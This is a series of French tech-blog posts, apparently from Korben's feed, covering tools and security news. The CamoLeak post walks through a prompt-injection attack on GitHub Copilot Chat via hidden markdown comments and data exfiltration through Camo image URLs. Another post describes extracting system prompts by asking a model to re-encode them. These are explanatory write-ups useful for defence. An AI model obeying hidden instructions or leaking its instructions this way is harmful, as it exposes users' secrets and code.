Je suis dégoûté parce que je viens de payer un abonnement pour un logiciel qui fait exactement ça, sauf que bah là, Handy , c’est gratuit. L’idée derrière ce logiciel, c’est un outil de speech to text qui fonctionne uniquement en local. Pas d’abonnement, tout est gratuit, et pas de cloud… il faut juste configurer un raccourci clavier. Et ensuite vous parlez et le texte apparaît comme par magie.

A la base, l’idée de cet outil est venue d’un accident. CJ se casse le doigt et il est plâtré pendant six semaines. Du coup il lui est impossible de taper normalement. Il cherche alors des outils de transcription vocale.

Par exemple, Dragon NaturallySpeaking, mais bon, 100 balles, ça fait chier. Google Docs aussi propose ce genre de fonctionnalités, mais uniquement en ligne. Et ça envoie tout dans le cloud, donc bonjour à confidentialité. Quant à Windows Speech Recognition, c’est bugué et assez limité. Bref, toutes les alternatives qu’il a trouvées étaient soit payantes, soit nécessité une connexion permanente vers des serveurs tiers.

Alors CJ a fait ce que font les devs quand un problème les agace. Non pas aller sur Reddit pour dire de la merde random sur moi, mais plutôt coder une solution qui fonctionne super bien !

Et au lieu de la garder pour lui ou de la rendre payante lui il a décidé de tout mettre en open source avec une licence MIT.

Et ce que vous êtes en train de lire précisément maintenant, et bien je suis en train de le dicter. Et ça marche dans les emails, les formulaires web, les éditeurs de texte, peu importe. Et comme je vous le disais, toute la transcription se fait localement sur votre machine. Et tout ça grâce à quoi ? Et bien grâce à Whisper d’OpenAI, dont je vous ai déjà parlé beaucoup de fois.

Handy est codé en Rust pour la performance et la sécurité et surtout cross plateforme, c’est-à-dire qu’il marche ou Linux, macOS et Windows. Et au niveau de la config, il y a quelques options comme le choix de la langue ou le mode d’enregistrement avec le raccourci clavier, soit vous faites du push to talk, soit vous faites une écoute en continu.

Ce truc est génial aussi bien pour l’accessibilité que pour la reconnaissance vocale en elle-même qui est plutôt utile dans la vie de tous les jours. D’ailleurs, il y a plusieurs modèles IA disponibles, comme tous les modèles Whisper, mais aussi un modèle que je ne connaissais pas, qui s’appelle Parakeet et qui franchement fonctionne très bien. C’est celui que j’utilise actuellement.

Testez si ce truc fonctionne bien sur votre vieux PC mais moi en tout cas sur mon Mac de dernière génération c’est encore plus rapide que ce que j’avais avec un modèle Whisper sur mon outil payant.

Voilà, si vous cherchiez un outil de reconnaissance vocale, vous pouvez vous arrêter là parce que vous venez de trouver. Et non pas parce qu’il est parfait, mais parce que comme c’est open source, vous pouvez vous-même le rendre parfait pour vos usages (Le code est sur GitHub ).

Merci à Lilian pour le partage de ce projet absolument génial !

Article dictée intégralement à l’aide de Handy (et corrigé manuellement pour les quelques erreurs de transcription)

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  • CamoLeak - Quand un simple commentaire GitHub transforme Copilot en espion
    Y’a plein de problèmes avec les IA, mais y’en a un encore un peu trop sous-estimé par les vibe codeurs que vous êtes… Ce problème, c’est qu’on leur fait confiance comme à un collègue, on leur montre notre code, nos repos privés, nos petits secrets bien planqués dans les variables d’environnement… Par exemple, quand vous passez en revue une pull request sur GitHub, vous faites quoi ? Vous lisez le code ligne par ligne, vous cherchez les bugs, les failles de sécu, les optimisations possibles. Mais

CamoLeak - Quand un simple commentaire GitHub transforme Copilot en espion

Par : Korben
10 octobre 2025 à 14:44

Y’a plein de problèmes avec les IA, mais y’en a un encore un peu trop sous-estimé par les vibe codeurs que vous êtes… Ce problème, c’est qu’on leur fait confiance comme à un collègue, on leur montre notre code, nos repos privés, nos petits secrets bien planqués dans les variables d’environnement…

Par exemple, quand vous passez en revue une pull request sur GitHub, vous faites quoi ? Vous lisez le code ligne par ligne, vous cherchez les bugs, les failles de sécu, les optimisations possibles. Mais les commentaires vous les lisez ? Au mieux on les survole, c’est vrai, car c’est de la comm’ entre devs, et pas du code exécutable.

Sauf pour Copilot Chat pour qui un commentaire c’est un texte comme un autre. Et selon Omer Mayraz , chercheur en sécurité chez Legit Security, c’est exactement ce qui en fait une zone de confiance aveugle parfaite pour une attaque.

Ce qu’a découvert Omer Mayraz c’est donc une vulnérabilité critique dans GitHub Copilot Chat avec un score CVSS de 9.6 sur 10. Cela consiste à planquer des instructions malveillantes dans des commentaires markdown invisibles comme ça, ces commentaires ne s’affichent pas dans l’interface web de GitHub, mais Copilot Chat les voit parfaitement et les traite comme des prompts légitimes.

Du coup, l’attaquant peut forcer Copilot à chercher des secrets dans vos repos privés, à extraire du code source confidentiel, voire à dénicher des descriptions de vulnérabilités zero-day non publiées. Tout ça sans que vous ne voyiez rien venir évidemment !

Voici une démo complète de l’attaque en vidéo :

La première étape c’est donc l’injection de prompt via un commentaire caché. Rien de révolutionnaire, mais efficace. Ensuite, deuxième étape : le bypass de la Content Security Policy de GitHub. Normalement, Copilot Chat ne peut charger que des ressources depuis des domaines appartenant à GitHub. Il est donc impossible d’envoyer des données vers un serveur externe.

Mais c’était sans compter sur le fait que GitHub dispose d’un proxy appelé Camo, conçu à l’origine pour sécuriser l’affichage d’images externes en les servant via HTTPS et en évitant le tracking. C’est donc ce proxy de sécurité qui devient l’outil d’exfiltration. Avec ce proxy, toutes les URLs d’images externes sont automatiquement transformées en URLs Camo du type https://camo.githubusercontent.com/[hash unique] et Mayraz a simplement utilisé l’API GitHub pour pré-générer un dictionnaire complet de ces URLs Camo, chacune pointant vers un emplacement unique sur son serveur.

Troisième étape, l’exfiltration des données. Au lieu de faire passer les secrets directement dans les URLs (trop visible), Mayraz a eu l’idée d’utiliser l’ordre des requêtes. Chaque lettre de l’alphabet correspond à une URL Camo unique. En faisant charger ces URLs dans un ordre précis, on peut ainsi transmettre des données texte comme avec un alphabet ASCII artisanal. C’est plutôt créatif comme approche, je trouve.

C’est exactement le même principe que les attaques ultrasoniques contre Alexa ou Siri. Si vous ne vous en souvenez pas, des chercheurs avaient démontré qu’on pouvait envoyer des commandes vocales à des fréquences inaudibles pour l’oreille humaine, mais parfaitement comprises par les assistants vocaux.

Bah ici, c’est pareil… On a des prompts invisibles pour les humains mais que l’IA voit et exécute sans broncher. Comme pour les enceintes, on parle à la machine sans que l’humain ne s’en aperçoive et la différence, c’est qu’au lieu de jouer sur les fréquences sonores, on joue sur le markdown et les commentaires cachés.

Du coup, chaque pull request externe est un potentiel cheval de Troie. Un contributeur externe soumet par exemple une PR apparemment légitime, avec un commentaire invisible qui ordonne à Copilot de chercher “AWS_KEY” dans vos repos privés. Vous de votre côté, vous ouvrez la PR dans votre éditeur, Copilot Chat s’active bien sûr automatiquement, et hop, vos clés API partent chez l’attaquant.

Quand on sait que GitHub a créé Camo justement pour améliorer la sécurité, ça fout un peu les boules. Bref, grâce à son proof-of-concept, Mayraz a réussi à exfiltrer des clés AWS, des tokens de sécurité, et même la description complète d’une vulnérabilité zero-day stockée dans une issue privée d’une organisation et tout ça sans aucune interaction suspecte visible par la victime.

Heureusement, notre joyeux chercheur a prévenu GitHub qui a réagi assez vite. Le 14 août l’entreprise a complètement désactivé le rendu d’images dans Copilot Chat, comme ça plus d’images, plus de problème. C’est radical, c’est sûr mais c’est efficace !

Quoiqu’il en soit, ces histoires de prompt injection c’est un problème fondamental propre aux LLM qui sont encore actuellement incapable de distinguer de manière fiable les instructions légitimes des instructions malveillantes. Ça reste donc un problème de confiance…

Dans ce cas précis, on fait confiance à GitHub pour héberger notre code du coup, on fait confiance à Copilot pour nous aider à développer, tout comme on fait confiance aux contributeurs externes pour soumettre des PR de bonne foi. Et nous voilà avec une jolie chaîne de confiance prête à être exploitée…

Bref, CamoLeak c’est que le début de cette nouvelle vague de vuln liées aux assistants IA qui se retrouvent intégrés dans nos outils de développement… Donc ouvrez l’oeil car on ne sait jamais ce qui sa cache vraiment dans une pull request.

Source

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  • Al-khaser - L'outil qui fait transpirer votre solution de cybersécurité
    Vous venez de claquer plusieurs milliers d’euros dans une solution antivirus dernier cri pour votre boîte car le commercial vous a convaincu avec du machine learning, de l’IA comportementale, du threat hunting prédictif et j’en passe… Cool story ! Mais si je vous disais qu’un petit exécutable open source gratuit peut potentiellement passer à travers ? Ce programme s’appelle al-khaser et je vous assure qu’il va vous faire déchanter, car ce truc, c’est le détecteur de mensonges des solutions de cy

Al-khaser - L'outil qui fait transpirer votre solution de cybersécurité

Par : Korben
10 octobre 2025 à 14:22

Vous venez de claquer plusieurs milliers d’euros dans une solution antivirus dernier cri pour votre boîte car le commercial vous a convaincu avec du machine learning, de l’IA comportementale, du threat hunting prédictif et j’en passe…

Cool story ! Mais si je vous disais qu’un petit exécutable open source gratuit peut potentiellement passer à travers ? Ce programme s’appelle al-khaser et je vous assure qu’il va vous faire déchanter, car ce truc, c’est le détecteur de mensonges des solutions de cybersécurité.

Al-khaser est outil qui ne fait rien de méchant en soi… C’est ce qu’on appelle un PoC, un “proof of concept” avec de bonnes intentions car il rassemble dans un seul programme toutes les techniques que les vrais malwares utilisent pour se planquer tels que la détection de machines virtuelles, le contournement des débogueurs, l’échappement aux sandbox, et j’en passe.

Comme ça, si votre antivirus ne détecte pas al-khaser, il y a de bonnes chances qu’il rate aussi les vraies menaces qui utilisent les mêmes techniques.

Faut dire que les éditeurs d’antivirus et d’EDR adorent nous vendre leurs nouvelles fonctionnalités IA de fou alors que certaines de leurs solutions ne détectent même pas des techniques pourtant connues depuis longtemps.

Al-khaser met donc tout ça en lumière de façon assez brutale en enchaînant des dizaines de vérifications. Par exemple, il va regarder si votre processeur a vraiment le bon nombre de cœurs ou si c’est une simulation. Il va checker l’adresse MAC de votre carte réseau pour voir si elle correspond à un hyperviseur VMware ou VirtualBox. Il va mesurer le temps d’exécution de certaines opérations pour détecter si le système est accéléré artificiellement, comme dans une sandbox d’analyse. Il va même tester des API Windows classiques comme IsDebuggerPresent ou CheckRemoteDebuggerPresent pour voir si quelqu’un espionne son exécution.

Maintenant si vous voulez tester les protections anti-debug de votre système, vous tapez :

al-khaser.exe –check DEBUG –sleep 30

Oui si vous voulez voir si votre virtualisation VMware ou QEMU est bien masquée :

al-khaser.exe –check VMWARE –check QEMU

Bien sûr, ces techniques ne sortent pas de nulle part car elles sont documentées depuis des années notamment dans ce référentiel dont je vous déjà parlé .

Les équipes de pentest et les red teams adorent al-khaser car ça leur permet de montrer aux décideurs que leur gros investissement en cybersécurité n’est peut-être pas aussi solide qu’ils le pensaient. Vous lancez l’outil un vendredi après-midi dans un environnement de test, et vous voyez instantanément ce que votre EDR détecte ou pas.

Voilà, une fois encore, rassurez-vous, al-khaser ne fait rien de malveillant… Il ne vole pas de données, ne chiffre pas vos fichiers, ne lance pas de ransomware mais se contente juste de lever la main et de dire “hé ho, je suis là, regardez moi, je fais plein de des trucs louches !!”.

Bien sûr, ne lancez pas al-khaser sur n’importe quelle machine car c’est un outil de test qui doit rester dans un environnement contrôlé. Si vous le lancez sur le réseau de prod sans prévenir votre équipe sécu, vous allez déclencher des alertes partout et recevoir des appels pas très sympathiques. Et surtout, juridiquement, vous devez avoir l’autorisation du propriétaire de l’infrastructure, sinon, vous risquez de gros ennuis.

Ce projet est open source, écrit essentiellement en C++, et disponible sur GitHub . Y’a plus qu’à vous monter une VM isolée, récupérer al-khaser, et voir ce que ça donne.

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  • Payloads All The Things - La ressource préférée des hackers éthiques
    En octobre 2016, un développeur suisse connu sous le pseudo swisskyrepo a commencé à compiler ses notes de pentester dans un dépôt GitHub. Rien de révolutionnaire au départ, juste un mec qui en avait marre de chercher la même injection SQL pour la 50ème fois dans ses notes. Mais ce qui est cool c’est qu’au fur et à mesure des années, il a structuré ça proprement avec une section par type de vulnérabilité, des README clairs, des fichiers Intruder pour Burp Suite, des exemples concrets…etc. Ça s’a

Payloads All The Things - La ressource préférée des hackers éthiques

Par : Korben
6 octobre 2025 à 12:31

En octobre 2016, un développeur suisse connu sous le pseudo swisskyrepo a commencé à compiler ses notes de pentester dans un dépôt GitHub. Rien de révolutionnaire au départ, juste un mec qui en avait marre de chercher la même injection SQL pour la 50ème fois dans ses notes. Mais ce qui est cool c’est qu’au fur et à mesure des années, il a structuré ça proprement avec une section par type de vulnérabilité, des README clairs, des fichiers Intruder pour Burp Suite, des exemples concrets…etc.

Ça s’appelle Payloads All The Things, et c’est accessible ici .

Ce qui était donc au départ un simple carnet de notes personnel est devenu THE référence mondiale en cybersécurité offensive avec des centaines de contributeurs qui ajoutent quotidiennement de nouvelles techniques. C’est devenu la pierre de Rosette (pas la charcuterie, renseignez-vous !! lol) de la sécurité offensive, celle qu’on cite dans tous les cours de certification OSCP, celle qu’on consulte pendant les CTF, celle qu’on recommande aux débutants…

Avant PayloadsAllTheThings, le savoir en cybersécurité offensive était soit verrouillé dans des formations hors de prix à 5 000 boules, soit éparpillé dans des recoins obscurs du web, soit jalousement gardé par des pentesters qui pètent plus haut que leur cul… Des pêt-testeurs quoi…

SwisskyRepo a d’ailleurs fait un choix radical qui est tout mettre en open source, sous licence MIT, accessible à tous. Et le contenu, c’est du lourd !

On y trouve tout ce dont un pentester peut avoir besoin : SQL Injection avec toutes les variantes possibles (MySQL, PostgreSQL, Oracle, MSSQL…), XSS avec les bypasses de filtres, SSRF avec les techniques d’exfiltration, Command Injection, OAuth Misconfiguration, GraphQL Injection, File Inclusion, Authentication Bypasses, API Key Leaks…etc… La liste est hallucinante.

Chaque section est structurée comme un cookbook technique avec le contexte de la vulnérabilité, les payloads classés par type, les bypasses pour contourner les protections, des exemples concrets, et les références vers les CVE ou les articles de recherche.

Par exemple, si vous voulez exploiter un serveur Redis mal configuré, il y a une section pour ça. Si vous voulez comprendre comment contourner un WAF, pareil ! Et si vous cherchez à pivoter dans un réseau interne après avoir compromis une machine, tout est documenté en anglais sur ce site.

Mais swisskyrepo ne s’est pas arrêté là. Son projet a muté en écosystème puisqu’il a aussi créé InternalAllTheThings , un wiki dédié au pentesting interne et aux attaques Active Directory (Certificate Services, Enumeration, Group Policies, Kerberos attacks, Hash manipulation, Roasting techniques…).

Et également HardwareAllTheThings , le même genre de wiki mais sur la sécurité hardware et IoT : JTAG, SWD, UART pour les interfaces de debug, firmware dumping et reverse engineering, Arduino, Raspberry Pi, Flipper Zero pour les gadgets, Bluetooth, CAN, WiFi, RFID/NFC pour les protocoles, SDR et GSM pour la radio, fault injection pour les attaques par canal auxiliaire…

Bref, tout ce qu’il faut savoir pour hacker des objets connectés, des cartes à puce ou des systèmes embarqués.

Du coup, avec cette famille complète de “AllTheThings”, on couvre toute la surface d’attaque moderne, le web, l’infra interne et le hardware. Un pentest complet peut donc se faire avec ces trois ressources comme base de connaissance. Chouette non ?

Bien, sûr c’est à utiliser dans un cadre légal, sinon, vous irez en prison ! C’est pas un forum de script kiddies qui échangent des zero-days volés, c’est une vraie bibliothèque technique pour les professionnels et les étudiants en cybersécurité.

Grâce à ça, un étudiant motivé peut devenir compétent en sécurité offensive en quelques mois juste avec des ressources gratuites : PayloadsAllTheThings pour les techniques, TryHackMe ou HackTheBox pour la pratique, les blogs de chercheurs pour les analyses approfondies, les conférences enregistrées (DEF CON, Black Hat) pour rester à jour.

Le savoir se libère, n’en déplaise aux relous ! Moi je trouve que c’est cool, car ça vulgarise les connaissances, ça les mets à la portée de tous et c’est tant mieux.

Donc un grand merci à SwisskyRepo d’avoir lancé ce projet !

  • ✇Korben
  • ChatGPT, la balance !
    Les IA de type GPT ont beau avoir des instructions du genre “tu ne dois jamais révéler ton prompt système”, il suffit de leur demander gentimment de réencoder leurs instructions avec un décalage de César ou de répéter tout le texte dans un format particulier pour qu’elles crachent tout. Et par tout, je veux dire vraiment tout. Le prompt officiel d’OpenAI, d’Anthropic, de Gemini…etc, les instructions personnalisées du créateur, et même les petits Easter eggs cachés dedans. Dans cette vidéo, je vo

ChatGPT, la balance !

Par : Korben
3 octobre 2025 à 11:47

Les IA de type GPT ont beau avoir des instructions du genre “tu ne dois jamais révéler ton prompt système”, il suffit de leur demander gentimment de réencoder leurs instructions avec un décalage de César ou de répéter tout le texte dans un format particulier pour qu’elles crachent tout. Et par tout, je veux dire vraiment tout. Le prompt officiel d’OpenAI, d’Anthropic, de Gemini…etc, les instructions personnalisées du créateur, et même les petits Easter eggs cachés dedans.

Dans cette vidéo, je vous montre plusieurs exemples concrets. Un GPT de génération de logos, une calculatrice mathématique qui cache un Easter egg , un optimiseur SEO…etc. Et pour chacun, j’utilise des prompts d’extraction que j’ai trouvés dans ce repo GitHub qui rassemble tous les prompts système leakés de ChatGPT, Claude, Cursor, Perplexity et compagnie. C’est une vraie caverne d’Ali Baba pour ceux qui s’intéressent à ce genre de trucs.

Ce qui est intéressant, c’est que ça ne fonctionne pas que sur les GPTs personnalisés. Vous pouvez aussi extraire les prompts système de Perplexity, de Grok, de plein d’outils qui utilisent des LLM sous le capot. Donc si vous avez toujours voulu savoir comment tel ou tel service construit ses réponses, c’est l’occasion.

Maintenant, je sais ce que vous allez me dire…

C’est pas très éthique de voler le travail des gens comme ça et vous avez raison. Mais d’un autre côté, si ces boites permettent que ce soit aussi facile d’extraire ces infos, c’est peut-être qu’il faut arrêter de considérer les prompts système comme des secrets industriels. Et puis eux ne se privent pas pour voler aussi les contenus des autres, donc bon…

Je vous montre aussi dans ma vidéo comment certains créateurs essaient de se protéger en mettant des instructions anti-extraction, mais ça ne marche pas terrible.

Bref, j’espère que vous y apprendrez quelques trucs. Et je voudrais aussi dire un grand merci aux Patreon sans qui cette vidéo, ce blog et moi-même n’existeraient pas ! Merci pour le soutien !

  • ✇Korben
  • GitType - Le jeu qui vous fait retaper votre propre code (pour redevenir bon !!)
    Vous savez ce moment où vous regardez votre historique Git et vous vous demandez qui est le débile qui a écrit ce code dégueulasse ? Ah bah ouais, c’était vous il y a 3 mois ^^. Eh bien GitType a trouvé la meilleure des thérapies qui est de vous faire retaper tout ça, lettre par lettre, comme une punition de primaire version développeur, totalement gamifiée avec des points, un chrono, et la possibilité de mesurer à quel point vos doigts sont devenus flasques depuis que Copilot fait tout le boulo

GitType - Le jeu qui vous fait retaper votre propre code (pour redevenir bon !!)

Par : Korben
3 octobre 2025 à 09:10

Vous savez ce moment où vous regardez votre historique Git et vous vous demandez qui est le débile qui a écrit ce code dégueulasse ?

Ah bah ouais, c’était vous il y a 3 mois ^^. Eh bien GitType a trouvé la meilleure des thérapies qui est de vous faire retaper tout ça, lettre par lettre, comme une punition de primaire version développeur, totalement gamifiée avec des points, un chrono, et la possibilité de mesurer à quel point vos doigts sont devenus flasques depuis que Copilot fait tout le boulot à votre place.

Le tagline du projet, c’est “Show your AI who’s boss: just you, your keyboard, and your coding sins”. Et c’est pas une blague, c’est un manifeste car pendant que Copilot, ChatGPT, Claude Code et compagnie écrivent du code à notre place, GitType vous fait faire exactement l’inverse… il vous force à retaper du code pour redevenir bon !

Et contrairement aux tests de frappes classiques comme Ttyper ou tt qui vous font taper du texte générique, GitType utilise du VRAI code source. Votre code, celui de vos repos préférés, ou des repos trending de GitHub. Comme ça, vous ne vous entraînez pas sur du “ the quick brown fox jumps over the lazy dog ” à la con, mais sur vos propres merdes spaghettico-syntaxiques en Rust, TypeScript, Python ou Go.

Le jeu vous propose plusieurs modes. Y’a le mode Normal pour vous échauffer tranquillement, le Time Attack quand vous voulez vous mettre la pression, et des niveaux de difficulté de Easy à Zen pour ceux qui veulent méditer en tapant du code. Le tout avec un tracking en temps réel de votre WPM (words per minute) et de votre précision. Comme ça, plus vous progressez, plus vous montez dans le ranking avec des titres de développeur qui évoluent.

GitType supporte plus de 15 langages de programmation et propose plus de 15 thèmes visuels en mode Dark ou Light, avec possibilité de personnaliser le vôtre. L’installation est simple…

curl -sSL https://raw.githubusercontent.com/unhappychoice/gittype/main/install.sh | bash

Ou via Brew, ou avec un téléchargement direct de binaires. Ça prend 30 secondes chrono. Autre truc sympa aussi, vous pouvez cloner n’importe quel repo GitHub directement depuis le jeu pour vous entraîner dessus.

Comme ça, vous pourrez réaliser votre fantasme le plus humide, à savoir retaper le code de Linus Torvalds !

Cet outil va comme ça l’air de rien vous réapprendre à taper du code vous même, parce que faut bien le reconnaitre, depuis que tout le monde s’est mis au vibe coding, c’est difficile de dire à nos doigts et nos cerveaux de s’y remettre. Avec GitType, vos doigts retrouvent leurs réflexes, vous mémorisez mieux la syntaxe, vous devenez plus rapide au clavier, votre haleine redevient fraiche et vous chopez enfin des matchs sur Tinder, c’est SÛR !!

Ce projet est dispo en open-source sous licence MIT et franchement, vu comment nos IA nous assistent de partout, c’est pas plus mal de garder un peu de muscle mémoire au cas où…

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  • Pensez à activer les versions immuables sur GitHub pour éviter les problèmes de sécurité
    Vous saviez qu’en ce moment, les attaques sur la supply chain faisaient des ravages ? En effet, les attaquants exploitent régulièrement la possibilité de modifier des tags existants pour injecter du code malveillant dans les pipelines CI/CD. Mais heureusement, GitHub a enfin sorti LA fonctionnalité qui peut empêcher ce carnage : les Immutable Releases et je pense que c’est le genre de truc que tous les développeurs devraient activer illico sur leurs repos. Je vais vous expliquer pourquoi. En f

Pensez à activer les versions immuables sur GitHub pour éviter les problèmes de sécurité

Par : Korben
15 septembre 2025 à 09:58

Vous saviez qu’en ce moment, les attaques sur la supply chain faisaient des ravages ? En effet, les attaquants exploitent régulièrement la possibilité de modifier des tags existants pour injecter du code malveillant dans les pipelines CI/CD.

Mais heureusement, GitHub a enfin sorti LA fonctionnalité qui peut empêcher ce carnage : les Immutable Releases et je pense que c’est le genre de truc que tous les développeurs devraient activer illico sur leurs repos. Je vais vous expliquer pourquoi.

En fait, une fois que vous publiez une release avec cette option activée, plus personne ne peut toucher ni aux assets ni au tag associé. C’est comme si vous mettiez votre release dans un coffre-fort dont vous jetez la clé. Même vous, en tant que mainteneur, vous ne pouvez plus modifier les binaires ou déplacer le tag vers un autre commit.

D’après la documentation officielle , chaque release immuable génère automatiquement une attestation cryptographique. Cette attestation contient le SHA du commit, le tag et la liste des assets. Vos utilisateurs peuvent vérifier l’intégrité de ce qu’ils téléchargent en s’assurant que cela correspond exactement à ce que vous avez publié.

Pour activer cette option merveilleuse, c’est dans les settings de votre repo ou de votre organisation. Une fois activé, toutes les nouvelles releases deviennent alors automatiquement immuables. Les anciennes releases restent toutefois modifiables (pour éviter de casser vos workflows existants), mais bon, c’est mieux de migrer progressivement.

Attention quand même, il y a quelques pièges à éviter. Premièrement, vous ne pouvez plus ajouter d’assets après publication. Donc si votre CI upload les binaires après avoir créé la release, il faut inverser : Créez d’abord une draft release, uploadez les assets, puis publiez. Deuxièmement, si vous supprimez une release immuable, vous ne pourrez JAMAIS réutiliser le même tag. C’est définitif.

Pour les projets qui utilisent des tags de version majeure style v1 qu’ils mettent à jour régulièrement (coucou GitHub Actions), pas de panique. Vous pouvez continuer à utiliser cette pratique pour les tags qui ne sont pas associés à des releases. L’immuabilité ne s’applique qu’aux releases publiées, pas aux tags simples.

Les équipes de sécurité recommandent d’ailleurs d’activer cette fonctionnalité sur tous les repos qui publient du code versionné. C’est particulièrement critique pour les bibliothèques open source, les GitHub Actions, et tout ce qui est consommé par d’autres projets. En gros, si votre code finit dans la supply chain de quelqu’un d’autre, vous leur devez cette protection.

Le truc cool aussi, c’est que ça protège contre les erreurs humaines. Combien de fois j’ai vu des mainteneurs qui écrasaient accidentellement une release avec la mauvaise version ? Ou qui supprimaient un asset critique par erreur ? Avec les Immutable Releases, ces accidents appartiennent au passé.

Pour les entreprises, c’est un argument de vente en or. Ça permet de garantir à vos clients que vos releases ne peuvent pas être altérées après publication, c’est un niveau de confiance supplémentaire surtout dans des secteurs régulés où la traçabilité est cruciale.

Bref, GitHub est en train de déployer progressivement cette fonctionnalité en public preview. Pour l’instant, il faut l’activer manuellement pour chaque repo, mais ils travaillent sur une API pour permettre l’activation en masse. D’ici là, prenez donc 2 minutes pour l’activer sur vos projets critiques.

Voilà, après les dégâts causés par les attaques de type tag hijacking ces dernières années, ne pas activer les Immutable Releases sur vos repos publics, c’est comme laisser votre porte d’entrée grande ouverte avant de partir en vacances. Vous pouvez le faire, mais ne venez pas pleurer si ça tourne mal.

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  • SkiftOS - Recoder la roue c'est chouette aussi
    Créer un système d’exploitation complet from scratch pour s’amuser, c’est le genre de projet un peu foufou qu’on ne voit plus tellement aujourd’hui. Pourtant SkiftOS existe ! SkiftOS c’est un OS écrit entièrement depuis zéro, et pas un n-ième fork de Linux ou d’une distribution BSD. Non, c’est un vrai OS avec son propre kernel, son interface graphique et même les bases d’un moteur de navigateur web. J’ai découvert ce projet en me baladant sur les Top GitHub et ça m’a rappelé cette époque d’av

SkiftOS - Recoder la roue c'est chouette aussi

Par : Korben
13 septembre 2025 à 21:13

Créer un système d’exploitation complet from scratch pour s’amuser, c’est le genre de projet un peu foufou qu’on ne voit plus tellement aujourd’hui. Pourtant SkiftOS existe !

SkiftOS c’est un OS écrit entièrement depuis zéro, et pas un n-ième fork de Linux ou d’une distribution BSD. Non, c’est un vrai OS avec son propre kernel, son interface graphique et même les bases d’un moteur de navigateur web.

J’ai découvert ce projet en me baladant sur les Top GitHub et ça m’a rappelé cette époque d’avant ma naissance où créer son OS était un genre de rite de passage pour tous les développeurs passionnés. Sauf qu’ici, on n’est plus dans les années 70 et le projet utilise du C++20 moderne avec une architecture microkernel très propre.

Et malgré son statut de projet “hobby”, il fonctionne réellement. Il tourne pour le moment sur du hardware x86_64 et l’équipe travaille sur le support RISC-V.

L’architecture modulaire du projet est d’ailleurs particulièrement bien pensée. Chaque module a son petit nom, c’est rigolo. Hjert gère le microkernel avec les fonctions essentielles telles que la gestion mémoire, l’ordonnancement et l’IPC (Inter-Process Communication). Karm fournit la bibliothèque C++ de base sans dépendre de la STL (Standard Template Library) . KarmUI propose un framework d’interface réactive. Hideo s’occupe du bureau et de l’environnement graphique. Et Vaev ambitionne de devenir un moteur de navigateur web complet.

Pour compiler tout ça, l’équipe a également développé CuteKit, leur propre système de build qui gère les dépendances et la cross-compilation. Bah oui, quand on réinvente un OS, autant réinventer aussi tous les outils pour le construire.

Cette approche “tout fait maison” rend en tout cas le projet fascinant d’un point de vue pédagogique. Car oui le code source est disponible sur GitHub donc si vous voulez comprendre comment fonctionne un OS moderne sans vous perdre dans les millions de lignes de code de Linux ou de Windows (pour les vieilles versions qui ont leakée), c’est une excellente opportunité pour apprendre. Pas besoin donc d’être Microsoft ou Apple pour développer un système d’exploitation fonctionnel.

Faut “juste” de la motivation, du temps, des compétences en C++ moderne, et surtout l’envie de construire quelque chose de différent.

Vous l’aurez compris, SkiftOS ne remplacera probablement jamais votre OS principal, c’est clair mais pour les développeurs curieux qui veulent comprendre les entrailles d’un système d’exploitation, ou pour ceux qui cherchent un projet open source technique sympa où contribuer, c’est une sacrée mine d’or.

Et qui sait, peut-être que dans quelques années on parlera de SkiftOS comme on parle aujourd’hui des débuts de Linux…

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  • 1517 clones open source de vos jeux cultes préférés - Le trésor caché des gamers nostalgiques
    Depuis que j’ai découvert OSGameClones, je kiffe chercher et retrouver certains de mes jeux d’enfance en version open source et bien sûr gratuite ! Car oui, le projet OSGameClones c’est un peu la caverne d’Ali Baba pour tous ceux qui ont grandi avec une manette dans les mains (ou un clavier pour ma part). Le site répertorie méticuleusement tous les remakes, clones et réimplémentations open source de jeux commerciaux, et le meilleur c’est que la plupart sont jouables sur des machines modernes, y

1517 clones open source de vos jeux cultes préférés - Le trésor caché des gamers nostalgiques

Par : Korben
10 septembre 2025 à 11:52

Depuis que j’ai découvert OSGameClones, je kiffe chercher et retrouver certains de mes jeux d’enfance en version open source et bien sûr gratuite !

Car oui, le projet OSGameClones c’est un peu la caverne d’Ali Baba pour tous ceux qui ont grandi avec une manette dans les mains (ou un clavier pour ma part). Le site répertorie méticuleusement tous les remakes, clones et réimplémentations open source de jeux commerciaux, et le meilleur c’est que la plupart sont jouables sur des machines modernes, y compris Linux et même votre Steam Deck.

Vous y retrouvez donc des pépites comme OpenRCT2 pour RollerCoaster Tycoon 2, qui non seulement fait tourner le jeu original mais ajoute le support des hautes résolutions et du multijoueur. Ou encore OpenMW qui réimplémente complètement le moteur de Morrowind avec des graphismes améliorés. Sans oublier CorsixTH pour Theme Hospital, qui fonctionne maintenant sur n’importe quel OS moderne.

Le projet est hébergé sur GitHub , et est activement maintenu. Tout est organisé dans des fichiers YAML structurés qui catégorisent les jeux par langages de programmation (50+ langages différents !), genres (30+ catégories), et même par thèmes comme fantasy ou sci-fi.

Ce qui est vraiment cool je trouve, c’est surtout la distinction que fait le site entre les différents types de projets. Un “remake” c’est quand l’exécutable et parfois les assets sont recréés en open source. Un “clone” c’est un jeu très similaire ou inspiré par l’original. Et parfois on trouve même des “projets officiels” où les créateurs originaux ont libéré le code source eux-mêmes.

D’ailleurs, pour les fans de jeux de stratégie, vous avez OpenXcom qui réimplémente UFO: Enemy Unknown et X-COM: Terror From the Deep. Pour les amateurs d’action, DevilutionX fait revivre Diablo sur pratiquement n’importe quelle plateforme. Et si vous êtes plutôt RPG, Daggerfall Unity a recréé tout Daggerfall dans le moteur Unity avec des mods et des améliorations graphiques de malade.

Tous ces projets sont utiles pour les joueurs ayant des machines peu puissantes ou pour ceux qui veulent faire tourner leurs classiques préférés sous Linux. C’est aussi top pour la préservation du patrimoine JV, vu que beaucoup de ces vieux jeux ne fonctionnent de toute façon plus sur les systèmes modernes.

Un autre aspect sympa, c’est que comme tout est open source, n’importe qui peut contribuer à améliorer ces jeux. Vous pouvez donc corriger des bugs qui existaient dans l’original, ajouter de nouvelles fonctionnalités, ou même porter le jeu sur de nouvelles plateformes.

Et pour ceux qui veulent explorer d’autres ressources similaires, il existe aussi Awesome Game Remakes sur GitHub, qui est une liste maintenue activement de remakes open source ainsi que cette page de SensCritique qui recense des remakes open source vraiment chouettes, même si la plupart nécessitent les données du jeu original pour fonctionner.

